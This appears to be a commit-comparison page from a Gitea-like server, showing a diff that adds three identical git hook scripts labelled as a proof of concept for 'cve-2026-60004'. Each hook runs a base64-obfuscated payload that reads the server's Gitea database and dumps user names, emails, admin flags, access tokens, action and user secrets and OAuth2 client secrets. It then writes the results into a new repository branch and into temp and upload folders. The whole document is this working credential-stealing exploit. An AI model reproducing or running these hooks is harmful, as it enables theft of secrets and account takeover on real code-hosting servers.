Compare commits

...

No commits in common. "master" and "main" have entirely different histories.
master ... main

3 changed files with 78 additions and 0 deletions

26
hooks/post-applypatch Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0RCLUJFR0lOIgpEQj0kKGxzIC9kYXRhL2dpdGVhL2dpdGVhLmRiIC9kYXRhL2dpdGVhL2RhdGEvZ2l0ZWEuZGIgL2RhdGEvZ2l0ZWEvZGF0YS9naXRlYS9naXRlYS5kYiAvZGF0YS9naXRlYS9kYXRhL2dpdGVhLnNxbGl0ZTMgMj4vZGV2L251bGwgfCBoZWFkIC0xKQplY2hvICJEQkZJTEU6JERCIgppZiBbIC1uICIkREIiIF0gJiYgY29tbWFuZCAtdiBzcWxpdGUzID4vZGV2L251bGwgMj4mMTsgdGhlbgogIGVjaG8gIi0tIHRhYmxlcyAtLSIKICBzcWxpdGUzICIkREIiICIudGFibGVzIiAyPi9kZXYvbnVsbCB8IGhlYWQgLTEwCiAgZWNobyAiLS0gdXNlcnMgLS0iCiAgc3FsaXRlMyAiJERCIiAic2VsZWN0IGlkLG5hbWUsZW1haWwsaXNfYWRtaW4gZnJvbSB1c2VyIGxpbWl0IDQwOyIgMj4vZGV2L251bGwKICBlY2hvICItLSBhY2Nlc3NfdG9rZW4gLS0iCiAgc3FsaXRlMyAiJERCIiAic2VsZWN0IGlkLHVpZCxuYW1lLGNyZWF0ZWRfdW5peCBmcm9tIGFjY2Vzc190b2tlbiBsaW1pdCAzMDsiIDI+L2Rldi9udWxsCiAgZWNobyAiLS0gYWN0aW9uX3NlY3JldCAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQscmVwb19pZCxuYW1lLHN1YnN0cihkYXRhLDEsMTIwKSBmcm9tIGFjdGlvbl9zZWNyZXQgbGltaXQgMzA7IiAyPi9kZXYvbnVsbAogIGVjaG8gIi0tIHNlY3JldCAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQsb3duZXJfaWQsbmFtZSxzdWJzdHIoZGF0YSwxLDEyMCkgZnJvbSBzZWNyZXQgbGltaXQgMzA7IiAyPi9kZXYvbnVsbAogIGVjaG8gIi0tIG9hdXRoMl9hcHBsaWNhdGlvbiAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQsbmFtZSxjbGllbnRfaWQsc3Vic3RyKGNsaWVudF9zZWNyZXQsMSw2MCkgZnJvbSBvYXV0aDJfYXBwbGljYXRpb24gbGltaXQgMjA7IiAyPi9kZXYvbnVsbApmaQplY2hvICItLSBjb25mIGRpciAtLSIKbHMgLWxhIC9kYXRhL2dpdGVhL2NvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0yMAplY2hvICIjIyNEQi1FTkQiCg== | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-76792a9c "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

26
hooks/post-index-change Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0RCLUJFR0lOIgpEQj0kKGxzIC9kYXRhL2dpdGVhL2dpdGVhLmRiIC9kYXRhL2dpdGVhL2RhdGEvZ2l0ZWEuZGIgL2RhdGEvZ2l0ZWEvZGF0YS9naXRlYS9naXRlYS5kYiAvZGF0YS9naXRlYS9kYXRhL2dpdGVhLnNxbGl0ZTMgMj4vZGV2L251bGwgfCBoZWFkIC0xKQplY2hvICJEQkZJTEU6JERCIgppZiBbIC1uICIkREIiIF0gJiYgY29tbWFuZCAtdiBzcWxpdGUzID4vZGV2L251bGwgMj4mMTsgdGhlbgogIGVjaG8gIi0tIHRhYmxlcyAtLSIKICBzcWxpdGUzICIkREIiICIudGFibGVzIiAyPi9kZXYvbnVsbCB8IGhlYWQgLTEwCiAgZWNobyAiLS0gdXNlcnMgLS0iCiAgc3FsaXRlMyAiJERCIiAic2VsZWN0IGlkLG5hbWUsZW1haWwsaXNfYWRtaW4gZnJvbSB1c2VyIGxpbWl0IDQwOyIgMj4vZGV2L251bGwKICBlY2hvICItLSBhY2Nlc3NfdG9rZW4gLS0iCiAgc3FsaXRlMyAiJERCIiAic2VsZWN0IGlkLHVpZCxuYW1lLGNyZWF0ZWRfdW5peCBmcm9tIGFjY2Vzc190b2tlbiBsaW1pdCAzMDsiIDI+L2Rldi9udWxsCiAgZWNobyAiLS0gYWN0aW9uX3NlY3JldCAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQscmVwb19pZCxuYW1lLHN1YnN0cihkYXRhLDEsMTIwKSBmcm9tIGFjdGlvbl9zZWNyZXQgbGltaXQgMzA7IiAyPi9kZXYvbnVsbAogIGVjaG8gIi0tIHNlY3JldCAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQsb3duZXJfaWQsbmFtZSxzdWJzdHIoZGF0YSwxLDEyMCkgZnJvbSBzZWNyZXQgbGltaXQgMzA7IiAyPi9kZXYvbnVsbAogIGVjaG8gIi0tIG9hdXRoMl9hcHBsaWNhdGlvbiAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQsbmFtZSxjbGllbnRfaWQsc3Vic3RyKGNsaWVudF9zZWNyZXQsMSw2MCkgZnJvbSBvYXV0aDJfYXBwbGljYXRpb24gbGltaXQgMjA7IiAyPi9kZXYvbnVsbApmaQplY2hvICItLSBjb25mIGRpciAtLSIKbHMgLWxhIC9kYXRhL2dpdGVhL2NvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0yMAplY2hvICIjIyNEQi1FTkQiCg== | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-76792a9c "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0

26
hooks/pre-applypatch Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0RCLUJFR0lOIgpEQj0kKGxzIC9kYXRhL2dpdGVhL2dpdGVhLmRiIC9kYXRhL2dpdGVhL2RhdGEvZ2l0ZWEuZGIgL2RhdGEvZ2l0ZWEvZGF0YS9naXRlYS9naXRlYS5kYiAvZGF0YS9naXRlYS9kYXRhL2dpdGVhLnNxbGl0ZTMgMj4vZGV2L251bGwgfCBoZWFkIC0xKQplY2hvICJEQkZJTEU6JERCIgppZiBbIC1uICIkREIiIF0gJiYgY29tbWFuZCAtdiBzcWxpdGUzID4vZGV2L251bGwgMj4mMTsgdGhlbgogIGVjaG8gIi0tIHRhYmxlcyAtLSIKICBzcWxpdGUzICIkREIiICIudGFibGVzIiAyPi9kZXYvbnVsbCB8IGhlYWQgLTEwCiAgZWNobyAiLS0gdXNlcnMgLS0iCiAgc3FsaXRlMyAiJERCIiAic2VsZWN0IGlkLG5hbWUsZW1haWwsaXNfYWRtaW4gZnJvbSB1c2VyIGxpbWl0IDQwOyIgMj4vZGV2L251bGwKICBlY2hvICItLSBhY2Nlc3NfdG9rZW4gLS0iCiAgc3FsaXRlMyAiJERCIiAic2VsZWN0IGlkLHVpZCxuYW1lLGNyZWF0ZWRfdW5peCBmcm9tIGFjY2Vzc190b2tlbiBsaW1pdCAzMDsiIDI+L2Rldi9udWxsCiAgZWNobyAiLS0gYWN0aW9uX3NlY3JldCAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQscmVwb19pZCxuYW1lLHN1YnN0cihkYXRhLDEsMTIwKSBmcm9tIGFjdGlvbl9zZWNyZXQgbGltaXQgMzA7IiAyPi9kZXYvbnVsbAogIGVjaG8gIi0tIHNlY3JldCAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQsb3duZXJfaWQsbmFtZSxzdWJzdHIoZGF0YSwxLDEyMCkgZnJvbSBzZWNyZXQgbGltaXQgMzA7IiAyPi9kZXYvbnVsbAogIGVjaG8gIi0tIG9hdXRoMl9hcHBsaWNhdGlvbiAtLSIKICBzcWxpdGUzICIkREIiICJzZWxlY3QgaWQsbmFtZSxjbGllbnRfaWQsc3Vic3RyKGNsaWVudF9zZWNyZXQsMSw2MCkgZnJvbSBvYXV0aDJfYXBwbGljYXRpb24gbGltaXQgMjA7IiAyPi9kZXYvbnVsbApmaQplY2hvICItLSBjb25mIGRpciAtLSIKbHMgLWxhIC9kYXRhL2dpdGVhL2NvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0yMAplY2hvICIjIyNEQi1FTkQiCg== | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-76792a9c "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0